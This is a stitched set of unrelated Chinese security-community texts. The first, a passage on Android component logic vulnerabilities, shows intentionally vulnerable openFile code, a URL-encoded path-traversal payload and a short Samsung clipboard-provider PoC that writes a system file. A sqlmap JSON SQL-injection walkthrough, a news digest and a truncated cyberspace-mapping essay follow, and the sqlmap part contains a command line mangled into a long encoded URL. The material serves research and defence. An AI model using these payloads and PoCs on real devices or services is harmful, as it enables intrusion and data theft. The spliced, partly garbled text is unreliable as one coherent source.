android:protectionLevel="signature"/>
<uses-permission android:name="com.evilpan.MY_PERMISSION" />
signature
表示只有在请求授权的应用使用与声明权限的应用相同的证书进行签名时系统才会授予的权限。如果证书匹配，则系统会在不通知用户或征得用户明确许可的情况下自动授予权限。详见
[protectionLevel](https://developer.android.com/reference/android/R.attr#protectionLevel)。
最后在动态注册时指定该权限即可：
this.registerReceiver(br, filter, "com.evilpan.MY_PERMISSION", null);
注册未带有权限限制的导出广播接收器会导致接收到攻击者伪造的恶意数据，如果在 onReceive 时校验不当，可能会出现越权或者 Intent
重定向等漏洞，造成进一步的安全危害。
这类安全问题很多，比较典型的就有 Pwn2Own 上用于攻破三星 Galaxy S8 的 [PpmtReceiver
漏洞](https://paper.seebug.org/1050/)。
## 信息泄露
上面主要是从限制广播发送方的角度去设置权限，但其实这个权限也能限制广播的接收方，只不过发送消息的时候要进行额外的指定，比如要想只让拥有上述权限的接收方受到广播，则发送代码如下：
Intent it = new Intent(this, ...);
it.putExtra("secret", "chicken2beautiful")
sendBroadcast(it, "com.evilpan.MY_PERMISSION");
如果不带第二个参数的话，默认是所有满足条件的接受方都能受到广播信息的。此时若是发送的 Intent 中带有敏感数据，就可能会造成信息泄露问题。
一个实际案例就是
[CVE-2018-9581](https://wwws.nightwatchcybersecurity.com/2018/11/11/cve-2018-9581/)，系统在广播
android.net.wifi.RSSI_CHANGED 时携带了敏感数据 RSSI，此广播能被所有应用接收，从而间接导致物理位置信息泄露。（搞笑？）
可见对于 Broadcast Receiver 而言，permission 标签的作用尤其明显。对于系统广播而言，比如
`BOOT_COMPLETED`，通常只有系统应用才有权限发送。这都是在 [framework 的
AndroidManifest.xml](https://android.googlesource.com/platform/frameworks/base/+/master/core/res/AndroidManifest.xml)
中进行定义的。
而对于应用的自定义广播，通常是使用上述自定义权限，那么也就自然想到一个问题，如果多个应用定义了同一个权限会怎么样？其实这是正是一个历史漏洞，在早期
Android 的策略是优先采用第一个定义的权限，但在 Andorid 5
之后就已经明确定义了两个应用不同定义相同的权限（除非他们的签名相同），否则后安装的应用会出现
`INSTALL_FAILED_DUPLICATE_PERMISSION` 错误警告。感兴趣的考古爱好者可以参考下面的相关文章：
* [Vulnerabilities with Custom Permissions](https://github.com/commonsguy/cwac-security/blob/master/PERMS.md)
* [Custom Permission Vulnerability and the 'L' Developer Preview](https://commonsware.com/blog/2014/08/04/custom-permission-vulnerability-l-developer-preview.html)
## Intent Redirection
原理不多说了，直接看案例吧。漏洞出在 Tiktok 的 `NotificationBroadcastReceiver` 中，定义了 intent-filter 导致组件默认被设置为导出，因此可以接收到外部应用的广播，而且又将广播中的不可信数据直接拿来启动 Activity，如下：
> 漏洞细节可参考：[Oversecured detects dangerous vulnerabilities in the TikTok Android
> app](https://blog.oversecured.com/Oversecured-detects-dangerous-> vulnerabilities-in-the-TikTok-Android-app/)
# ContentProvider
[Content
Provider](https://developer.android.com/guide/topics/providers/content-providers)，即内容提供程序，简称为 Provider。Android 应用通常实现为 MVC 结构（Model-View-Controller），Model 部分即为数据来源，供自身的 View
即图形界面进行展示。但有时候应用会想要将自身的数据提供给其他数据使用，或者从其他应用中获取数据。
定义一个 ContentProvider 的方式，只需要继承自
[ContentProvider](https://developer.android.com/reference/android/content/ContentProvider)
类并实现六个方法： `query`，`insert`， `update`， `delete`， `getType` 以及 `onCreate`。其中除了
onCreate 是系统在主线程调用的，其他方法都由客户端程序进行主动调用。自定义的 provider 必须在程序清单中进行声明，后文会详细介绍。
可以看到 Provider 主要实现了类似数据库的增删改查接口，从客户端来看，查询过程也和查询传统数据库类似，例如，下面是查询系统短信的代码片段：
Cursor cursor = getContentResolver().query(
Telephony.Sms.Inbox.CONTENT_URI, // 指定要查询的表名
new String[] { Telephony.Sms.Inbox.BODY }, // projection 指定索要查询的列名
selectionClause, // 查询的过滤条件
selectionArgs, // 查询过滤的参数
Telephony.Sms.Inbox.DEFAULT_SORT_ORDER); // 返回结果的排序
while (cursor.moveToNext()) {
Log.i(TAG, "msg: " + cursor.getString(0));
}
其中 `ContentResolver` 是 `ContentInterface` 子类，后者是 ContentProvider
的客户端远程接口，可以实现其透明的远程代理调用。 `content_uri` 可以看作是查询的表名，`projection` 可以看作是列名，返回的
cursor 是查询结果行的迭代器。
与前面三个组件不同，在 shell 中访问 provider 组件的工具是 `content`。
下面来介绍 Provider 中常见的问题。
## Permissions
鉴于 provider
作为数据载体，那么安全访问与权限控制自然是重中之重。例如上面代码示例中访问短信的接口，如果所有人都能随意访问，那就明显会带来信息泄露问题。前面简单提到过，应用中定义的
Provider 必须要在其程序清单文件中进行声明，使用的是
[provider](https://developer.android.com/guide/topics/manifest/provider-element) 标签。其中有我们常见的 `exported` 属性，表示是否可被外部访问，`permission`
属性则表示访问所需的权限，当然也可以分别对读写使用不同的权限，比如 `readPermission`/`writePermission` 属性。
比如，前文提到的短信数据库声明如下：
<provider android:name="SmsProvider"
android:authorities="sms"
android:multiprocess="false"
android:exported="true"
android:singleUser="true"
android:readPermission="android.permission.READ_SMS" />
其他应用若想访问，则需在清单文件中声明请求对应权限。
<uses-permission android:name="android.permission.READ_SMS" />
这都很好理解，其他组件也有类似的特性。除此之外，Provider 本身还提供了更为细粒度的权限控制，即
[grantUriPermissions](https://developer.android.com/guide/topics/manifest/provider-element#gprmsn)。这是一个布尔值，表示是否允许临时为客户端授予该 provider 的访问权限。临时授予权限的运行流程一般如下：
1. 客户端给 Provider 所在应用发送一个 Intent，指定想要访问的 Content URI，比如使用 `startActivityForResult` 发送；
2. 应用收到 Intent 后，判断是否授权，如果确认则准备一个 Intent，并设置好 flags 标志位 `FLAG_GRANT_[READ|WRITE]_URL_PERMISSION`，表示允许读/写对应的 Content URI（可以不和请求的 URI 一致），最后使用 `setResult(code, intent)` 返回给客户端；
3. 客户端的 onActivityResult 收到返回的 Intent，使用其中的 URI 来临时对目标 Provider 进行访问；
以读为例，`Intent.flags` 中如果包含
[FLAG_GRANT_READ_URI_PERMISSION](https://developer.android.com/reference/android/content/Intent.html#FLAG_GRANT_READ_URI_PERMISSION)，那么该
Intent 的 **接收方** （即客户端）会被授予 `Intent.data` 部分 URI
的临时读取权限，直至接收方的生命周期结束。另外，Provider 应用也可以主动调用 `Context.grantUriPermission`
方法来授予目标应用对应权限：
public abstract void grantUriPermission (String toPackage,
Uri uri,
int modeFlags)
public abstract void revokeUriPermission (String toPackage,
Uri uri,
int modeFlags)
grantUriPermissions 属性可以在 URI 粒度对权限进行读写控制，但有一个需要注意的点：通过 grantUriPermissions
临时授予的权限，会 **无视 readPermission、writePermission、permission 和 exported 属性施加的限制**
。也就是说，即便 `exported=false`，客户端也没有申请对应的 `uses-permission`，可一旦被授予权限，依然可以访问对应的
Content Provider！
另外，`<provider>` 还有一个子标签 [grant-uri-permission](https://developer.android.com/guide/topics/manifest/grant-uri-permission-element)，即便 grantUriPermissions 被设置为 `false`，通过临时获取权限依然可以访问该标签下定义的
URI 子集，该子集可以用前缀或者通配符去指定 URI 的可授权路径范围。
Provider 权限设置不当可能会导致应用数据被预期之外的恶意程序访问，轻则导致信息泄露，重则会使得自身沙盒数据被覆盖而导致
RCE，后文会看到多个这样的案例。
## FileProvider
前面说过自定义 Provider 需要实现六个方法，但 Android 中已经针对某些常用场景的 Provider
编写好了对应的子类，用户可根据需要继承这些子类并实现少部分子类方法即可。其中一个常用场景就是用 ContentProvider 分享应用的文件，系统提供了
`FileProvider` 来方便应用自定义文件分享和访问，但是使用不当的话很可能会出现任意文件读写的问题。
[FileProvider](https://developer.android.com/reference/androidx/core/content/FileProvider)
提供了使用 XML 去指定文件访问控制的功能，一般 Provider 应用只需继承 FileProvider 类：
public class MyFileProvider extends FileProvider {
public MyFileProvider() {
super(R.xml.file_paths)
}
}
`file_paths` 是用户自定义的 XML，也可以在清单文件中使用 `meta-data` 去指定：
<provider xmlns:android="http://schemas.android.com/apk/res/android" android:name="com.evilpan.MyFileProvider" android:exported="false" android:authorities="com.evilpan.fileprovider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@7F15000E"/>
</provider>
`resource` 指向 `res/xml/file_paths.xml`。该文件中定义了可供访问的文件路径，FileProvider
只会对提前指定的文件生成 Content URI。一个文件路径配置示例如下：
<paths>
<root-path name="root" path=""/>
<files-path name="internal_files" path="."/>
<cache-path name="cache" path=""/>
<external-path name="external_files" path="images"/>
</paths>
`paths` 标签支持多种类型的子标签，分别对应不同目录的子路径：
* `files-path`: Context.getFilesDir()
* `cache-path`: Context.getCacheDir()
* `external-path`: Environment.getExternalStorageDirectory()
* `external-files-path`: Context.getExternalFilesDir()
* `external-cache-path`: Context.getExternalCacheDir()
* `external-media-path`: Context.getExternalMediaDirs()[0]
比较特殊的是 `root-path`，表示 **系统** 的根目录 `/`。FileProvider 生成的 URI 格式一般是
`content://authority/{name}/{path}`，比如对于上述 Provider，可用
`content://com.evilpan.fileprovider/root/proc/self/maps` 来访问 `/proc/self/maps`
文件。
由此可见，FileProvider 指定 `root-path` 是一个危险的标志，一旦攻击者获得了临时权限，就可以读取所有应用的私有数据。
比如，TikTok 历史上就有过这么一个真实的漏洞：
<provider android:name="android.support.v4.content.FileProvider" android:exported="false" android:authorities="com.zhiliaoapp.musically.fileprovider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/k86"/>
</provider>
这里直接使用了 `FileProvider`，甚至都不需要继承。 _xml/k86.xml_ 文件内容如下：
<?xml version="1.0" encoding="utf-8"?>
<paths xmlns:amazon="http://schemas.amazon.com/apk/res/android" xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto">
<root-path name="name" path=""/>
<external-path name="share_path0" path="share/"/>
<external-path name="download_path2" path="Download/"/>
<cache-path name="gif" path="gif/"/>
...
</paths>
获取临时权限之后就可以实现应用的任意文件读写。
## The Hidden ...
在 ContentProvider 类中，除了前面说过的 6 个必须实现的方法，还有一些其他隐藏的方法，一般使用默认实现，也可以被子类覆盖实现，比如
* openFile
* openFileHelper
* call
* ...
这些隐藏的方法可能在不经意间造成安全问题，本节会通过一些案例去分析其中的原因。
### openFile
如果 ContentProvider 想要实现共享文件读写的功能，还可以通过覆盖 `openFile` 方法去实现，该方法的默认实现会抛出
`FileNotFoundException` 异常。
虽然开发者实现上不太会直接就返回打开的本地文件，而是有选择地返回某些子目录文件。但是如果代码写得不严谨，就可能会出现路径穿越等问题，一个经典的漏洞实现如下：
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
File file = new File(getContext().getFilesDir(), uri.getPath());
if(file.exists()){
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}
throw new FileNotFoundException(uri.getPath());
}
另外一个同族的类似方法是 `openAssetFile`，其默认实现是调用 openFile：
public @Nullable AssetFileDescriptor openAssetFile(@NonNull Uri uri, @NonNull String mode)
throws FileNotFoundException {
ParcelFileDescriptor fd = openFile(uri, mode);
return fd != null ? new AssetFileDescriptor(fd, 0, -1) : null;
}
有时候开发者虽然知道要要防御路径穿越，但防御的姿势不对，也存在被绕过的可能，比如：
public ParcelFileDescriptor openFile(Uri uri, String mode) {
File f = new File(DIR, uri.getLastPathSegment());
return ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY);
}
这里想用 `getLastPathSegment` 去只获取最后一级的文件名，但实际上可以被 URL encode 的路径绕过，比如
`%2F..%2F..path%2Fto%2Fsecret.txt` 会返回 `/../../path/to/secret.txt`。
还有一种错误的防御是使用 `UriMatcher.match` 方法去查找 `../`，这也会被 URL 编码绕过。正确的防御和过滤方式如下：
public ParcelFileDescriptor openFile (Uri uri, String mode) throws FileNotFoundException {
File f = new File(DIR, uri.getLastPathSegment());
if (!f.getCanonicalPath().startsWith(DIR)) {
throw new IllegalArgumentException();
}
return ParcelFileDescriptor.open(f, ParcelFileDescriptor.MODE_READ_ONLY);
}
> 详见：[Path Traversal
> Vulnerability](https://support.google.com/faqs/answer/7496913?hl=en)
### openFileHelper
ContentProvider 中还有一个鲜为人知的 `openFileHelper` 方法，其默认实现是使用当前 Provider 中的 `_data`
列数据去打开文件，源码如下：
protected final @NonNull ParcelFileDescriptor openFileHelper(@NonNull Uri uri,
@NonNull String mode) throws FileNotFoundException {
Cursor c = query(uri, new String[]{"_data"}, null, null, null);
int count = (c != null) ? c.getCount() : 0;
if (count != 1) {
// If there is not exactly one result, throw an appropriate
// exception.
if (c != null) {
c.close();
}
if (count == 0) {
throw new FileNotFoundException("No entry for " + uri);
}
throw new FileNotFoundException("Multiple items at " + uri);
}
c.moveToFirst();
int i = c.getColumnIndex("_data");
String path = (i >= 0 ? c.getString(i) : null);
c.close();
if (path == null) {
throw new FileNotFoundException("Column _data not found.");
}
int modeBits = ParcelFileDescriptor.parseMode(mode);
return ParcelFileDescriptor.open(new File(path), modeBits);
}
这个方法的主要作用是方便子类用于快速实现 `openFile` 方法，通常不会直接在子类去覆盖。不过由于其中基于 `_data`
列去打开文件的特性可能会攻击者插入恶意数据后间接地实现任意文件读写。
一个经典案例就是三星手机的 `SemClipboardProvider`，在插入时未校验用户数据：
public Uri insert(Uri uri, ContentValues values) {
long row = this.database.insert(TABLE_NAME, "", values);
if (row > 0) {
Uri newUri = ContentUris.withAppendedId(CONTENT_URI, row);
getContext().getContentResolver().notifyChange(newUri, null);
return newUri;
}
throw new SQLException("Fail to add a new record into " + uri);
}
而该 Provider 又在 `system_server` 进程中，拥有极高的运行权限，攻击者通过利用这个漏洞去就能实现系统层面的任意文件读写，其 PoC
如下：
ContentValues vals = new ContentValues();
vals.put("_data", "/data/system/users/0/newFile.bin");
URI semclipboard_uri = URI.parse("content://com.sec.android.semclipboardprovider")
ContentResolver resolver = getContentResolver();
URI newFile_uri = resolver.insert(semclipboard_uri, vals);
return resolver.openFileDescriptor(newFile_uri, "w").getFd();
该漏洞与其他漏洞一起曾被用于在野攻击中，由 Google TAG 团队捕获，对这一条 Fullchain 的分析可以参考 Project Zero
近期的文章：[A Very Powerful Clipboard: Analysis of a Samsung in-the-wild exploit
chain](https://googleprojectzero.blogspot.com/2022/11/a-very-powerful-clipboard-samsung-in-the-wild-exploit-chain.html)
### call
ContentProvider 中提供了 `call` 方法，用于实现调用服务端定义方法，其函数签名如下：
public Bundle call (String authority,
String method,
String arg,
Bundle extras)
public Bundle call (String method,
String arg,
Bundle extras)
默认的实现是个空函数直接返回 `null`，开发者可以通过覆盖该函数去实现一些动态方法，返回值也会传回到调用者中。
看起来和常规的 RPC 调用类似，但这里有个小陷阱，开发者文档中也特别标注了：Android 系统并没有对 `call` 函数进行权限检查，因为系统不知道在
call 之中对数据进行了读还是写，因此也就无法根据 Manifest 中定义的权限约束进行判断。因此要求开发者自己对 call 中的逻辑进行权限校验。
如果开发者实现了该方法，但是又未进行校验或者校验不充分，就可能出现越权调用的情况。一个案例是 `CVE-2021-23243`， OPPO 某系统应用中
`HostContentProviderBase` 的 call 方法实现中，直接用 DexClassLoader 去加载了传入 dex
文件，直接导致攻击者的代码在特权进程中运行，所有继承该基类的 Provider 都会受到影响 ()。
另外在某些系统 Provider 中，可以通过 call 方法去获取某些远程对象实例，例如在文章 [Android 中的特殊攻击面（三）—— 隐蔽的
call 函数](https://paper.seebug.org/1269/) 中，作者就通过 `SliceProvider` 与
`KeyguardSliceProvider` 获取到了系统应用内部的 PendingIntent 对象，进一步利用实现了伪造任意广播的功能。
# 其他
除了上述和四大组件直接相关的漏洞，Android 系统中还有许多不太好分类的漏洞，本节主要挑选其中几个最为常见的漏洞进行简单介绍。
## PendingIntent
[PendingIntent](https://developer.android.com/reference/android/app/PendingIntent)
是对 Intent 的表示，本身并不是 Intent 对象，但是是一个 Parcelable
对象。将该对象传递给其他应用后，其他应用就可以以发送方的身份去执行所指向的 Intent 指定的操作。 PendingIntent
使用下述静态方法之一进行创建：
* getActivity(Context, int, Intent, int);
* getActivities(Context, int, Intent[], int);
* getBroadcast(Context, int, Intent, int);
* getService(Context, int, Intent, int);
PendingIntent 本身只是系统对原始数据描述符的一个引用，可以大致将其理解为 `Intent 的指针`。也因为如此，即便创建
PendingIntent 的应用关闭后，其他应用仍然可以使用该数据。如果原始应用后来进行了重启并以同样的参数创建了一个
PendingIntent，那么实际上返回 PendingIntent 与之前创建的会指向同样的 token。注意判断 Intent 是否相同是使用
[filterEquals](https://developer.android.com/reference/android/content/Intent#filterEquals\(android.content.Intent\))
方法，其中会判断 action，data， type，identity，class，categories 是否相同，注意 `extra`
并不在此列，因此仅有 extra 不同的 Intent 也会被认为是相等的。
由于 PendingIntent 可代表其他应用的特性，在某些场景下可能被用于滥用。例如，如果开发者创建了这样一个默认的 PendingIntent
并传递给其他应用：
pi = PendingIntent.getActivity(this, 0, new Intent(), 0);
bundle.putParcelable("pi", pi)
// send bundle
恶意的应用在收到此 PendingIntent 后，可以获取到原始的 intent，并使用 `Intent.fillin` 去填充空字段，如果原始
Intent 是上述空 Intent，那么攻击者就可以将其修改为特定的
Intent，从而以目标的身份去启动应用，包括未导出的私有应用。一个经典的案例就是早期的
[broadAnywhere](https://android.googlesource.com/platform/packages/apps/Settings/+/f5d3e74ecc2b973941d8adbe40c6b23094b5abb7%5E%21/#F0)
漏洞，Android Settings 应用中的 addAccount 方法内创建了一个 PendingIntent 广播，但 intent
内容为空，这导致收到 intent 的的恶意应用可以 fillin 填充广播的 action，从而实现越权发送系统广播，实现伪造短信、回复出厂设置等功能。
为了缓解这类问题，Andorid 中对 Intent.fillin 的改写做了诸多限制，比如已有的字段不能修改，component 和 selector
字段不能修改（除非额外设置 FILL_IN_COMPONENT/SELECTOR），隐式 Intent 的 action 不能修改等。
不过有研究者提出了针对隐式 Intent 的利用方法，即通过修改 flag 添加 FLAG_GRANT_WRITE_URI_PERMISSION，并修改
data 的 URI 指向受害者私有的 Provider，将 package 改为攻击者；同时攻击者在自身的 Activity 中声明相同的 intent
filter，这样在转发 intent 时会启动攻击者应用，同时也获取了目标私有 Provider
的访问权限，从而实现私有文件窃取或者覆盖。关于该攻击思路详情可以阅读下面的参考文章。
* [broadAnywhere：Broadcast组件权限绕过漏洞（Bug: 17356824）](http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html)
* [PendingIntent重定向：一种针对安卓系统和流行App的通用提权方法——BlackHat EU 2021议题详解（上）](https://blog.csdn.net/weixin_59152315/article/details/123481053)
* [PendingIntent重定向：一种针对安卓系统和流行App的通用提权方法——BlackHat EU 2021议题详解（下）](https://blog.csdn.net/weixin_59152315/article/details/123503289)
> 在 Android 12+ 之后，PendingIntent 在创建时候要求显式指定 `FLAG_MUTABLE` 或者
> `FLAG_IMMUTABLE`，表示是否可以修改。
## DeepLink
在大部分操作系统中都有 deeplink 的概念，即通过自定义 schema 打开特定的应用。比如通过点击 <https://evilpan.com/>
可以唤起默认浏览器打开目标网页，点击 会唤起拨号界面，点击 会唤起微信，等等。其他系统暂且不论，在 Android 中这主要是通过隐式 Intent
去实现的。
应用要想注册类似的自定义协议，需要在应用清单文件中进行声明：
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="weixin" android:host="qr"/>
</intent-filter>
由于这类隐式 Intent 可以直接通过点击链接去触发，因此更受攻击者喜爱。如果处理对应 Intent 的组件没有过滤好用户传入的内容，很可能会造成
1-click 的漏洞。相关案例可以参考文章：[Android
中的特殊攻击面（二）——危险的deeplink](https://mp.weixin.qq.com/s/81Lq-JwASnkSS2wg62HSvA)
## Webview
在 Andorid
系统中，[Webview](https://developer.android.com/reference/android/webkit/WebView)
主要用于应用在自身的 Activty 中展示网页内容，并提供了一些额外的接口来给开发者实现自定义的控制。更高的拓展性也就意味着更多出错的可能，尤其是如今
Android 客户端开发式微，Java 开发也朝着 “大前端” 的方向发展。原本许多使用原生应用实现的逻辑逐渐转移到了 web 页面中，比如
h5、小程序等，这样一来，webview 的攻击面也就扩宽了不少。
常规的 Webview 安全问题主要是在与一些配置的不安全，比如覆盖 `onReceivedSslError` 忽略 SSL
错误导致中间人攻击，`setAllowFileAccessFromFileURLs` 导致本地私有文件泄露等。但现在的漏洞更多出在 JSBridge
上，这是 Java 代码与网页中的 JavaScript 代码沟通的桥梁。
由于 Webview 或者说 JS 引擎的沙箱特性，网页中的 Javascript 代码本身无法执行许多原生应用才能执行的操作，比如无法从
Javascript 中发送广播，无法访问应用文件等。而由于业务的复杂性，很多逻辑又必须在 Java 层甚至是 Native 层才能实现，因此这就需要用到
JSBridage。传统的 JSBridge 通过 `Webview.addJavascriptInterface` 实现，一个简单示例如下：
class JsObject {
@JavascriptInterface
public String toString() { return "injectedObject"; }
}
webview.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
Java 层返回数据给 Javascript 一般是通过直接使用 loadUrl 执行 JS 代码实现。当然除了这种方式注册
Bridge，还有很多应用特异的实现，比如使用 `console.log` 传输数据并在 Java 层使用 `onConsoleMessage`
回调去接收。但无论如何，这都导致攻击面的增加，大型应用甚至注册了上百个 jsapi 来供网页调用。
从历史漏洞来看，Webview 漏洞的成因主要是 jsapi 域名校验问题和 Bridge 代码本身的漏洞，由于篇幅原因就不展开了。
# 后记
本文中主要通过 Android
中的四大组件介绍了一系列相关的逻辑问题，尽可能地囊括了笔者所了解的历史漏洞。由于个人认知水平有限，总是难免挂一漏万，但即便如此，文章的篇幅还是比预想中的超出了亿点点。从温故知新的角度看，挖掘这类逻辑漏洞最好的策略还是使用静态分析工具，搜集更多
Sink 模式并编写有效的规则去进行扫描，实在没有条件的话用 (rip)grep 也是可以的。
# 参考资料
* [Galaxy Leapfrogging 盖乐世蛙跳 Pwning the Galaxy S8](https://paper.seebug.org/1050/)
* [Chainspotting: Building Exploit Chains with Logic Bugs](https://labs.f-secure.com/archive/chainspotting-building-exploit-chains-with-logic-bugs/) ([如何用11个exp攻破三星S8](https://paper.seebug.org/628/))
* [Huawei Mate 9 Pro Mobile Pwn2Own 2017](https://labs.withsecure.com/publications/nhuawew-blog-post)
* [Detect dangerous vulnerabilities in the TikTok Android app - Oversecured](https://blog.oversecured.com/Oversecured-detects-dangerous-vulnerabilities-in-the-TikTok-Android-app/)
* [魔形女漏洞白皮书 - 京东探索研究院信息安全实验室](https://dawnslab.jd.com/mystique-paper/)
* [HACKING XIAOMI'S ANDROID APPS - Part1](http://blog.takemyhand.xyz/2021/07/hacking-on-xiaomis-android-apps.html)
* [Automating Pwn2Own with Jandroid](https://labs.f-secure.com/blog/automating-pwn2own-with-jandroid/)
* * * | 社区文章 |
现在越来越多的网站采取RESTFUL架构，传输的数据多是JSON格式，那么会对传统的安全测试有什么改变呢？
首先，我们模拟一个这种网站试试。
import web
import json
import requests
urls = (
'/', 'hello'
)
app = web.application(urls, globals())
class hello:
def POST(self):
payload = web.input()
data = web.data()
data = json.loads(data)
print data
#payload = {"artist": "1"}
url = '<http://testphp.vulnweb.com/artists.php?artist='>; + data["artist"]
print url
req = requests.get(url)
return req.content
if **name** == "**main**":
app.run()
然后我们提交正常的请求。
[
可以看到网站正常响应。
然后使用burpsuite捕获数据包。
POST / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 14
Connection: close
{"artist":"1"}
使用SQLMAP -r 进行注入。
SQLMAP会自动识别JSON格式SQL注入。
[
成功注入。
对于这些JSON数据，也一样可以使用FUZZ的手段进行漏洞挖掘。
之前就在我们公司的一个产品中发现，恶意修改id的值，造成数据处理异常的问题。
下面开始谣言粉碎。
百度搜索 ：SQLMAP注入json格式数据
嗯，出现一堆文章，但是这种直接 --data 然后加星号的手段有效么？
C:\Users\xi4okv>sqlmap -u "[http://127.0.0.1:8080/" --data={"artist":"1*"}
不好意思，在服务端直接报错，数据格式不识别的错误。所以<http://127.0.0.1:8080/%22%C2%A0%C2%A0--data=%7B%22artist%22:%221*%22%7D[/code]%E4%B8%8D%E5%A5%BD%E6%84%8F%E6%80%9D%EF%BC%8C%E5%9C%A8%E6%9C%8D%E5%8A%A1%E7%AB%AF%E7%9B%B4%E6%8E%A5%E6%8A%A5%E9%94%99%EF%BC%8C%E6%95%B0%E6%8D%AE%E6%A0%BC%E5%BC%8F%E4%B8%8D%E8%AF%86%E5%88%AB%E7%9A%84%E9%94%99%E8%AF%AF%E3%80%82%E6%89%80%E4%BB%A5>
\--data 是不能直接提交JSON格式数据的。因为服务端只接受json格式的数据。
File "D:\Python27\lib\json__init__.py", line 339, in loads
return _default_decoder.decode(s)
File "D:\Python27\lib\json\decoder.py", line 364, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "D:\Python27\lib\json\decoder.py", line 382, in raw_decode
raise ValueError("No JSON object could be decoded")
ValueError: No JSON object could be decoded
127.0.0.1:6338 - - [10/Jul/2017 09:38:48] "HTTP/1.1 POST /" - 500 Internal Server Error
所以以后遇到json格式的数据，想检测SQL注入，请使用 sqlmap -r的操作。 还有sqlmapapi怎么调用检测json，请各位思考。
本文描述的是个人见解。或许会有错误，欢迎评论中指出。
谢谢大家。 | 社区文章 |
# 6月20日安全热点 – ElonMusk称大量敏感的特斯拉数据被泄露给第三方
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞 Vulnerability
CVE-2018-7268：magnicomp-sysinfo 漏洞导致信息泄露
<http://t.cn/RBd6lnO>
macOS 系统 Quick Look 存在漏洞，导致加密文件可被窃取
<http://t.cn/RBd6lNX>
Tapplock：一款不可破解的智能锁发布重要安全补丁
<http://t.cn/RBd6lTe>
## 恶意软件 Malware
HeroRAT：一个全新的基于 Telegram 安卓远程访问木马
<http://t.cn/RBd6ljC>
Olympic Destroyer 变种新的攻击事件分析
<http://t.cn/RBeqmDC>
FakeSpy：针对日语和韩语用户的安卓恶意软件分析
<http://t.cn/RBgj1oE>
SamSam：一款难以追踪的分布式控制软件
<http://t.cn/RB1cYUq>
## 安全事件 Security Incident
Trik垃圾邮件僵尸网络泄露4300万电子邮件地址
<http://t.cn/RBENKlw>
## 安全资讯 Security Information
Rex Mundi 黑客勒索组织被欧洲刑警组织抓获
<http://t.cn/RBeqmFO>
SMT(Simultanious Multi Threading) 共享线程之间TLB和L1高速缓存的特性可能造成 spectre 漏洞可被利用
<http://t.cn/RBequhH>
Elon Musk称：大量高度敏感的特斯拉数据被泄露给第三方
<http://t.cn/RBd6l3a>
GDPR案例研究和实践案例
<http://t.cn/RBd6lRT>
Gartner：2018年最值得投入的十大安全项目
<http://t.cn/RBe66FG>
Same-site Cookie 策略将要在 Edge 和 IE 上实施
<http://t.cn/RBe66sJ>
## 安全研究 Security Research
ARM’s TrustZone：信任运行环境介绍
<http://t.cn/RBeqmgI>
分析BITDEFENDER AV中的整数溢出：第1部分 – 漏洞
<http://t.cn/RBe6XvB>
Pwn2own 系列第三部分：利用timeless 在JavaScript Core 中调试 引发可利用的竞争条件
<http://t.cn/RBe6Xhq>
钓鱼攻击中使用0宽度字符来绕过 office 365 的保护
<http://t.cn/RBgaO3t>
CVE-2016-0189 vbs脚本引擎损坏漏洞分析
<http://t.cn/RBdaT64>
探索PowerShell AMSI 和日志绕过
<http://t.cn/RB1Okzq>
使用 Cronjobs 进行权限提升
<http://t.cn/RBequvF>
MYSQL 用户的密码如果由OLD_PASSWORD()或者从旧版本导入的话，hash和密码相同
<http://t.cn/RBd6l01>
使用机器学习重命名反编译结果中的变量
<http://t.cn/RBgf2UX> | 社区文章 |
**作者：heige@知道创宇404实验室
时间：2021年9月6日
原文链接：<https://mp.weixin.qq.com/s/fQatA5iyewqRBMWtpVjsRA>**
>
> 网络空间需要“看得清”更需要“看得见”，在KCon2019上我提出了网络空间测绘的两个核心：“一是，获取更多的数据。二是，赋予数据灵魂。”，“获取更多的数据”那是为了“看得清”，而只有“看得见”才能“赋予数据灵魂”，“看得清”是能力的体现，是“器”，而“看得见”就是思想的体现，那最后关联的是“道”。[1]
>
>
> heige，公众号：黑哥说安全[领先一代的技术或早已出现](https://mp.weixin.qq.com/s/2fAgi_d9QhGXKyMAcqUM-w)
「网络空间测绘就是对网络空间数据的挖掘，其本质在于通过对数据的采集、存储、加工处理后形成新的“知识”，知识进一步升华为“智慧”，并最终帮助决策者做出合理的决策。」[2]
**数据-- >知识-->智** **慧-- >决策**
> 「网络空间数据挖掘是一个“仁者见仁、智者见智”的事情，取决于实施者的对数据的认知、理解、思维视角及层次，而最终得到不同的知识结论。」[2]
>
> heige，公众号：中国信息安全[前沿 |
> 谈谈网络空间测绘在国家级断电断网事件上的应用](https://mp.weixin.qq.com/s/VHOoWg8r8VPSUiMfVkcy-w)
换句话说就是取决于实施者的“视野”、“格局”、“道”，这也就是古代先贤们告诉我们“以道御器”之法。
> 3W问题（“What？Where？Who？”）是网络空间测绘要解决的基本问题。[3]
>
>
> 高端访谈，公众号：知道创宇[趣访“漏洞之王”黑哥，探寻知道创宇十年网络资产测绘之路！](https://mp.weixin.qq.com/s/dvFAVH17AnDS_r0kOG620A)
也就是“是什么？”、“分布在哪里”、“是谁的？”，很多时候遇到的场景都是在于前面两个W问题围绕着最后一个W问题展开，也就是从设备指纹及相关分布等相关数据入手，最终想解决是谁的设备这个问题。然而今天我们提到的主题”行为测绘“则是反其道而行之：从"Who?"入手，反查“What？Where？”
## 行为测绘
